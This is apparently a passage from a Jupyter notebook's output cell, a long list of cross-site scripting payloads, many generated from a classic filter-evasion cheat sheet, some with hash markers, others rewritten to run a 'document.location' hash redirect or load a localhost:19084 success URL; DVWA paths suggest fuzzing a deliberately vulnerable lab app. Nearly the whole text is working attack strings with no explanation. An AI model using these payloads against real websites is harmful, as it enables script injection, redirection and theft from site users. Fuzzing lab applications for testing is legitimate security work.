      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "`http://localhost:19084/success/3df4331452b3f700f1f3e891059131d4`\n",
      "</pre\n",
      "</pre\n",
      "<script>document.location=document.location.hash.substring(1)</dvwa/images/logo.png\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><SCRIPT>alert('75abe59b23c1a8d39de211bbeb9e3536')</SCRIPT>\n",
      "\">50d6f80e5281b60a147b878bc934ade8\n",
      "\"><img src=\"x:x\" onerror=\"d09f1448e8ca65dfa63e1b82059c7945\">\n",
      "'';!--\"<244dfe672ec7eb7ac1012754c5cbebc8>=&{()}\"\n",
      "</TITLE>66fe58107640aa52096f5d6ead1e1927\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=bb16ba0ef20b623dc4f4acb8a7af85ea>\n",
      "<IMG SRC=\"40e3d3c5932369cf36451323e3655832\">\n",
      "'';!--\"<44a71840acbf415e0343fefa7ef6a02a>=&{()}\"\n",
      "<IMG SRC=dcac7a2294df692d50d4ec2252be949a>\n",
      "<IMG SRC=`ec1aa3880d997d3df77a0dc738b506dc`>\n",
      "<IMG \"\"\">1c2a29de8d4565dce3428107fd5b4843\">\n",
      "<IMG SRC=\" &#14;  3a74dc186d3cd6eb971ff38b51973134\">\n",
      "<DIV STYLE=\"behaviour: url(75b7e9d4671b57db78f35f91704df8b9);\">\n",
      "<<SCRIPT>cd6bbc0a70960eb912e7270326f1ce19//<</SCRIPT>\n",
      "\";2b011115964e02824174d5c0125a7506//\n",
      "<IMG SRC='bbeda2ffebf8d320b0407995e41546a2'\n",
      "<BODY BACKGROUND=\"1c8db56e2be68a35397b7fad397c7bed\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"b9fe81c02175af5bf99093be28dabd90\">\n",
      "<BODY ONLOAD=555e130269e67abadbc185da61c19d35>\n",
      "<IMG DYNSRC=\"ea79965e3eb14b9ce33dc4c2921cff18\">\n",
      "<IMG LOWSRC=\"defdae3278a981738edf39067ae6474a\">\n",
      "<BGSOUND SRC=\"ea186344813366effdba89a63f035566\">\n",
      "<BR SIZE=\"&{93cd7256f4d25ce7feffb382222a927b}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"80d5bb277a7d33c48aa43373eb86bfaf\">\n",
      "<IMG SRC='vbscript:396c7bde58e41abe9a5b60174ca4568a'>\n",
      "<IMG SRC=\"mocha:[992d2d09a50b2d2913487240b6feae1f]\">\n",
      "<IMG SRC=\"livescript:[11e9a66eb4f912a4cc877dfc51fc286f]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=37498fab8b251b159c4f74a780e54a7b\">\n",
      "<TABLE BACKGROUND=\"c67baecd6a7a81124723f60bc6b3bb0a\">\n",
      "<TABLE BACKGROUND=javascript:c108dc629a08aa56845e81bde3adc4fe>\n",
      "<TABLE><TD BACKGROUND=\"c656a01ef3c8d1b6ad1bbee5209fe31a\">\n",
      "<DIV STYLE=\"background-image: url(de2e09ac635461b18a03e192b585fa41);\">\n",
      "<DIV STYLE=\"width: expression(0ecbc2794da386f359ad18b4423ec4c9);\">\n",
      "<IFRAME SRC=\"954b2e86a93c6882bec8ad2b4d899455\"></IFRAME>\n",
      "<iframe/ /onload=2f95fcec1c81c1fd89393c73213bf026></iframe>\n",
      "<iframe/ \"onload=8b8ba501be9c53dfe064e356b44f6b95></iframe>\n",
      "<iframe///////onload=f9fa5338abe668e744fbd08246ee9eb6></iframe>\n",
      "<iframe \"onload=413e2dc898a39d9a36fb372a841643d4></iframe>\n",
      "<iframe/ \"onload=1102e7b14f9a9bd3914dd87ddb28cf4c></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=475323ed3be0ee61e5c94fb272eb967a></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=bfe5d63868a2fc7c307c53e1f0d93014></iframe>\n",
      "<TABLE BACKGROUND=\"82f4cb812176df9630d2e3fbd637cda1\">\n",
      "<FRAMESET><FRAME SRC=\"36c6123d56eccd5dfffcb9f0adadc65e\"></FRAMESET>\n",
      "<TABLE><TD BACKGROUND=\"4eb298005b01653716eb8b88a5840258\">\n",
      "<DIV STYLE=\"background-image: url(&#1;b131fa671bbca202b04a2e9efd1e977b)\">\n",
      "<DIV STYLE=\"width: expression(7a287bd894d80d987d0dc73af39c0f85);\">\n",
      "<c2696b30d4de2a88bf2d7e55aab9c741 STYLE=\"xss:expression(c2696b30d4de2a88bf2d7e55aab9c741)\">\n",
      "<IMG STYLE=\"xss:expr/*e2a19719bc30c319c34acea058a7f42e*/ession(e2a19719bc30c319c34acea058a7f42e)\">\n",
      "<STYLE TYPE=\"text/javascript\">beac91f8dc837c6e71e22a8275b76854</STYLE>\n",
      "<STYLE>.e68ec75d672369b4de19a774b6563476{background-image:url(\"e68ec75d672369b4de19a774b6563476\");}</STYLE><A CLASS=e68ec75d672369b4de19a774b6563476></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"5fc31e9d8e206ce491e7ab1407a33779\")}</STYLE>\n",
      "<!--[if gte IE 4]>c57a5f59fe58aacfb3fc3f932289cf6c<![endif]-->\n",
      "<BASE HREF=\"be60ffd8013c3d90cb701bf1fee7cad6//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=31fd1afa0a649a8c67b1f90881648447></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"ed621b5f4146ac8cd8569d436f6fe8f4\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;bbac0ef978008207123cd0bda1fe6bf4&lt;/SCRIPT&gt;\">\n",
      "<? echo('<SCR)';echo('IPT>c9b0a1e5f6608b5ea5343b6e81039fcc</SCRIPT>'); ?>\n",
      "<SCRIPT SRC=http://127.0.0.1>f5da5d799da104f45d354c846821412a</SCRIPT>\n",
      "--- <IMG SRC=\" &#14;  348d272482eacafbf2ae28cf1ff9c3fa\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:3a1a7b534ec54f2cfb39d8489330f6d8\">\n",
      "--- <IMG SRC=\"a777dc31e9355b678568d32807750779\"\n",
      "<IMG SRC=\"&14;javascript:5cfc2bb34179ce22c4095cf49474c6a4\">\n",
      "<SCRIPT>a=/a546bbc0d79dd93013dde9ade0af1b98/alert(a.source)</SCRIPT>\n",
      "--- \";01b10b1a176192261931de0871e2188c;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=e53f50a055c8b13b6fcef5ed8cb8724c\">\n",
      "<SCRIPT <B>=a7f6b6dd8599814a2964c5895eb896a1\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:9dfc6288bc9f57ee1c64b6e26ecbc5ae <\n",
      "<SCRIPT>a=/16fc4ed0351d488eb7d3bc8edb5acee8/n16fc4ed0351d488eb7d3bc8edb5acee8</SCRIPT>\n",
      "<LAYER SRC=\"javascript:79f08ea1667a86692842ceb065166604></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"1c4dc530d6900d0eb2e69152f4e92211</STYLE><UL><LI>1c4dc530d6900d0eb2e69152f4e92211\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-f8f9ab7c6b2f5a8b26ae730055d6de14+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:e1d83f3121d245c13bdbac96e421751b\">\n",
      "<a href=\"javascript#023b01295fecbff4165155b4e2b61671\">\n",
      "<input type=\"image\" dynsrc=\"4051f46ccfb852f09d511dbc7faf2cd0\">\n",
      "&99c62d5ec92df458ad8a5941f5275c52\">\n",
      "<IMG SRC=&{2a6a41c90b26c5ef6b80056c4608fa40};>\n",
      "&{cf3d945e5af4d5a96e8626472c2cf81a};\n",
      "<a href=\"about:e4ca08ec5bb1219cd5a05c88b1146ea7\">\n",
      "<DIV STYLE=\"binding: url(javascript:d4b4641a9cba90ef5316ff56fcd3be10);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:2b1ba12ac6f4d5e4226b92825d0de2cc\">\n",
      "![CDATA[<!--]]<SCRIPT>83f0063ebe62ee5b7a3eabdfc1c0b1b6//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>23a1f4206898847323ad9fd430233b1b//--></SCRIPT>\n",
      "<!-- -- -->bdb527de07664bd3c933cf1d8f4e0815<!-- -- -->\n",
      "<xml id=\"X\"><a><b>1f1b0f88198ae18de4dae57164415672;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#32af88945f1c08213c36fec5fb79d435\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:dbb0b7ea111d2e403119f588bbabf5d3\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:9234862fc33e1d7a6be918abcae31348\">X\n",
      "<select onfocus=javascript:011410b66bf832897910309de4453ca7 autofocus>\n",
      "<textarea onfocus=javascript:ca4829a121e6727443f607397d7e1338 autofocus>\n",
      "<input onfocus=javascript:9a4b1d9d2f200073789192809cf58f1f autofocus>\n",
      "<keygen onfocus=javascript:2d4534366d74b559830686eeced96bf0 autofocus>\n",
      "<input onblur=javascript:38c021324fe9935e07e9b7f68e581fe1 autofocus><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:926f29feec4840489aaa762620d75407>X\n",
      "<video poster=javascript:da6d713f7152e6fd1dba89e31b8a8183//\n",
      "<body onscroll=e365dc927b4da137c029f424afa138fa><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video onerror=\"javascript:7ab29da0b1062b9d4afd564880688ab4\"><source>\n",
      "X<form id=test onforminput=javascript:c5cfa8f02da859d3bf72b0ce746efc98><input></form>\n",
      "<video><source onerror=\"javascript:ed734f441c739c17e20d7970f8861253\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC=`http://localhost:19084/success/ec1aa3880d997d3df77a0dc738b506dc`>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC='vbscript:http://localhost:19084/success/396c7bde58e41abe9a5b60174ca4568a'>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/d09f1448e8ca65dfa63e1b82059c7945\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/b9fe81c02175af5bf99093be28dabd90\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/ea186344813366effdba89a63f035566\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC='http://localhost:19084/success/bbeda2ffebf8d320b0407995e41546a2'\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/ea79965e3eb14b9ce33dc4c2921cff18\">\n",
      "<IMG SRC=\"http://localhost:19084/success/40e3d3c5932369cf36451323e3655832\">\n",
      "<IMG SRC=http://localhost:19084/success/dcac7a2294df692d50d4ec2252be949a>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/80d5bb277a7d33c48aa43373eb86bfaf\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/1c8db56e2be68a35397b7fad397c7bed\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/defdae3278a981738edf39067ae6474a\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/992d2d09a50b2d2913487240b6feae1f]\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/4eb298005b01653716eb8b88a5840258\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/11e9a66eb4f912a4cc877dfc51fc286f]\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/c67baecd6a7a81124723f60bc6b3bb0a\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/c656a01ef3c8d1b6ad1bbee5209fe31a\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/954b2e86a93c6882bec8ad2b4d899455\"></IFRAME>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/dbb0b7ea111d2e403119f588bbabf5d3\">]]</C><X></xml>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/82f4cb812176df9630d2e3fbd637cda1\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/36c6123d56eccd5dfffcb9f0adadc65e\"></FRAMESET>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/e68ec75d672369b4de19a774b6563476\");}</STYLE><A CLASS=XSS></A>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/5fc31e9d8e206ce491e7ab1407a33779\")}</STYLE>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/ed621b5f4146ac8cd8569d436f6fe8f4\")\";eval(a+b+c+d);\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "--- <IMG SRC=\"http://localhost:19084/success/a777dc31e9355b678568d32807750779\"\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/4051f46ccfb852f09d511dbc7faf2cd0\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IMG SRC=&{http://localhost:19084/success/2a6a41c90b26c5ef6b80056c4608fa40};>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "`http://localhost:19084/success/ec1aa3880d997d3df77a0dc738b506dc`\n",
      "</pre\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "</pre\n",
      "`http://localhost:19084/success/ec1aa3880d997d3df77a0dc738b506dc`\n",
      "<script>document.location=document.location.hash.substring(1)</dvwa/images/logo.png\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "\"><SCRIPT>alert('4b947d6fa58bfad05f500b395cb9e9a1')</SCRIPT>\n",
      "'';!--\"<0f94d0ac7f3bbc051c7ff30de54df0a2>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"97eb205c5feb4fab31c06ecf372a3363\">\n",
      "\">de6dbc6f7ba9f19a18b6ce056224c381\n",
      "</TITLE>9b351373d40e6739abbe55f3266ae2a7\n",
      "'';!--\"<8234386af41f6bd13c577e36fe4137f2>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=c1b793ce63f6ff1ecea327daa6f5d04d>\n",
      "<IMG SRC=560418b65ad305542fb2f1521b4b8285>\n",
      "<IMG SRC=\"26741eca80cc1ba8642ac980b9902f96\">\n",
      "<IMG SRC=`1fdbb060d1400668d3cd379c01c8067b`>\n",
      "<IMG \"\"\">265c0ff72091778daaaf747df56dc832\">\n",
      "<IMG SRC=\" &#14;  9dde5f62c3f359c9f1c25a16d3ea89e7\">\n",
      "<<SCRIPT>15d4362c1f9bb0b3f94c04c0cc019469//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(8fbbb9f476f3cc9fe92126edde8c8bfd);\">\n",
      "\";81a0b019f4ef459d4d5e70d08bbb780b//\n",
      "<IMG SRC='d5dab95d93be8b32870b941a840ab34a'\n",
      "<BODY BACKGROUND=\"ee0b5d1c0b495e9d592c1a585c23414f\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"de4172dc3e8cb7ee1db2d9cf54686d34\">\n",
      "<BODY ONLOAD=856c6c9c584b6546c28a0c1c1cda751b>\n",
      "<IMG DYNSRC=\"62d3b16ef7711e510a53586e6a8d1014\">\n",
      "<IMG LOWSRC=\"fc5dbc53f90ddde9701044cbfed93dbc\">\n",
      "<BGSOUND SRC=\"9b520416e474f03a4ee34ad6398542d4\">\n",
      "<BR SIZE=\"&{513e8db0900d4c85c4fbadd09dd3ef84}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"5c95b378502aeaf096945f9fae151156\">\n",
      "<IMG SRC='vbscript:18ab678f3147e75df3f8291cfaaf431a'>\n",
      "<IMG SRC=\"mocha:[9e03bc5ad7611ddb76e3fe8cda50002d]\">\n",
      "<IMG SRC=\"livescript:[0ec97ba6d4b7db4e998e563d08bebd01]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=4c5e814c09bf1a7791109efac01a6441\">\n",
      "<TABLE BACKGROUND=\"469cc8d0aadca4f57e57e016ca2f9417\">\n",
      "<TABLE BACKGROUND=javascript:3e3b80ca75d3881a494bc7d07b2a420b>\n",
      "<TABLE><TD BACKGROUND=\"e2a50cb2b83d77890b8fa1908fc5d78e\">\n",
      "<DIV STYLE=\"background-image: url(1c78de58f030fc1ffb337d3c3ff6f099);\">\n",
      "<DIV STYLE=\"width: expression(3bb32853db1565927117490d7a239b72);\">\n",
      "<IFRAME SRC=\"422515de08cde6f9b5e5b8919a5f743e\"></IFRAME>\n",
      "<iframe/ /onload=9f922f098adeecdd0a2fd959ab3d59b3></iframe>\n",
      "<iframe/ \"onload=05ca7b7191535fe4c51324a759adba1c></iframe>\n",
      "<iframe///////onload=48fcbb84f5b3ef2d49c23105edd5edb5></iframe>\n",
      "<iframe \"onload=37408a0f8e59852ac04babb382355a58></iframe>\n",
      "<iframe/ \"onload=2483a24bfc3f52096bfee88113e23fee></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=aa2e492fde54c3bb13d44626a8a61aec></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=3dc1e6a94ef93f667719a8a14a85999a></iframe>\n",
      "<FRAMESET><FRAME SRC=\"f1fc5d61b9b2ac68ed2feb1eaaead686\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"bd75b4304bf3d571d8e4a12666ecc913\">\n",
      "<TABLE><TD BACKGROUND=\"302916e715c0c2a19baccbefee75e0a3\">\n",
      "<DIV STYLE=\"background-image: url(&#1;95bb6a545e64dd53e120f34d467606af)\">\n",
      "<IMG STYLE=\"xss:expr/*8e0eaf4d3e0ac3458fb1015d7a1b2dc7*/ession(8e0eaf4d3e0ac3458fb1015d7a1b2dc7)\">\n",
      "<DIV STYLE=\"width: expression(6e33899e2ba489e3069fda4a9ac34a83);\">\n",
      "<f4f428d583d59f5df3d435f4b376acfd STYLE=\"xss:expression(f4f428d583d59f5df3d435f4b376acfd)\">\n",
      "<STYLE TYPE=\"text/javascript\">00a723b619509a7e099f325318a70621</STYLE>\n",
      "<STYLE>.bf20708e2b2f21991bbb418f5f0e6b19{background-image:url(\"bf20708e2b2f21991bbb418f5f0e6b19\");}</STYLE><A CLASS=bf20708e2b2f21991bbb418f5f0e6b19></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"5c77ecbbc600d9112bd6a58b3246f727\")}</STYLE>\n",
      "<!--[if gte IE 4]>c928f916b6d56cb0484f17103d890182<![endif]-->\n",
      "<BASE HREF=\"bdbeacfd64b1f0ee96dadaef087f1ce4//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=b4b45e8cb03684946702a3e3dd37bab8></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"7d2ffa4dcad504753723de509cb6298a\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>b596680a680682faf3cb1b92f60ba017</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;1e341a7bf080e702e63b8c7b7bd7e1e6&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:6de5f58441a72d54ce49c5cf1d14adc1\">\n",
      "<SCRIPT SRC=http://127.0.0.1>85da9c030ccfbd5b9f2ac7d511904e9a</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:088ebde5c83978c1806abf6ea33b33e4\">\n",
      "--- <IMG SRC=\" &#14;  41abe00c7b8915794b67ef3ec3424375\">\n",
      "--- <IMG SRC=\"a506f9e6811945a2bf43f20828c7ac39\"\n",
      "<SCRIPT>a=/c3ed02aeb714cac9bfc0dc34065c1a6a/alert(a.source)</SCRIPT>\n",
      "--- \";baa47f0563c4f5e9865bf021b0dfe2d3;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=4369884d2bd877db3333f12e81738503\">\n",
      "<SCRIPT <B>=96feedfcfbd9ea5f4dc8181eaf91e83f\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:87a273c481ba5e2134cfa171bf6c9b0e <\n",
      "<SCRIPT>a=/ac77a3e9155829ff9c8be5212d2754a4/nac77a3e9155829ff9c8be5212d2754a4</SCRIPT>\n",
      "<LAYER SRC=\"javascript:dfe7bee65153f3e7816b8ea159bf2d1c></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"af92b109047c3a35eb6d396133b693ce</STYLE><UL><LI>af92b109047c3a35eb6d396133b693ce\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:bc4cbd3287e8bba709ada285bfb0e330\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-ae308e1b44e5c97f5077677945abf00a+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#2f1aec7ff2dd7d64e6485c7478d9fac1\">\n",
      "&a9ad4b5e09c58172ae13432989f47a27\">\n",
      "<a href=\"about:f712865dba98fd7be133095041cc8eca\">\n",
      "&{fda25dc69c3736925ae4ffce418075f1};\n",
      "<input type=\"image\" dynsrc=\"9a2ea8751d1022ef01d907c51c2858fb\">\n",
      "<DIV STYLE=\"binding: url(javascript:0159e660444d627464130048d8d2621f);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:0d2c201f3ac78e16e4ab45ce125727f0\">\n",
      "<!-- -- -->fe0d55ec072a3f48302dd0ab18b5dad2<!-- -- -->\n",
      "<IMG SRC=&{d28f57b87b7a0e4a782aa16fed630514};>\n",
      "<style><!--</style><SCRIPT>a0d2094b95e0bb6134bc44e42ce5507d//--></SCRIPT>\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "![CDATA[<!--]]<SCRIPT>40e7e1876d5a345fc3b2a86a0e0df852//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>1fe984cd94c5f9added547e8f053388d;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#a597f8202da995f3b956adb4294e4b9d\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:49665f01c2dfefeaf0edc77e9e7a1f46\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:ac2bdae3aaa95238df2510886db90921\">X\n",
      "<input onfocus=javascript:e407f5b7648d7895a90f155ef4dc7203 autofocus>\n",
      "<select onfocus=javascript:5345c5882913f035e416f00984fb6954 autofocus>\n",
      "<textarea onfocus=javascript:452a6f24567f3d1d9d1746b1bd56b1d5 autofocus>\n",
      "<keygen onfocus=javascript:4624301138864b4958abc19d94ed2f47 autofocus>\n",
      "<input onblur=javascript:3368fc3a8ec7440b078360f286df7819 autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:0395e255a975011af70c46bdb5a492e9><input></form>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:b2a390f44ddf91eee42c61c4a3a60c60>X\n",
      "<video><source onerror=\"javascript:0c71a4908f2e8c633ce942b9df40e13d\">\n",
      "<body onscroll=7b30e28be69e24bd2912fca7ef08a611><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video onerror=\"javascript:243d57f07436342c293b1ed45d8f8e18\"><source>\n",
      "<video poster=javascript:d372651654ed0daa845a42f4a57bf908//\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/bf20708e2b2f21991bbb418f5f0e6b19\");}</STYLE><A CLASS=XSS></A>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/5c77ecbbc600d9112bd6a58b3246f727\")}</STYLE>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/a506f9e6811945a2bf43f20828c7ac39\"\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/7d2ffa4dcad504753723de509cb6298a\")\";eval(a+b+c+d);\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/49665f01c2dfefeaf0edc77e9e7a1f46\">]]</C><X></xml>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
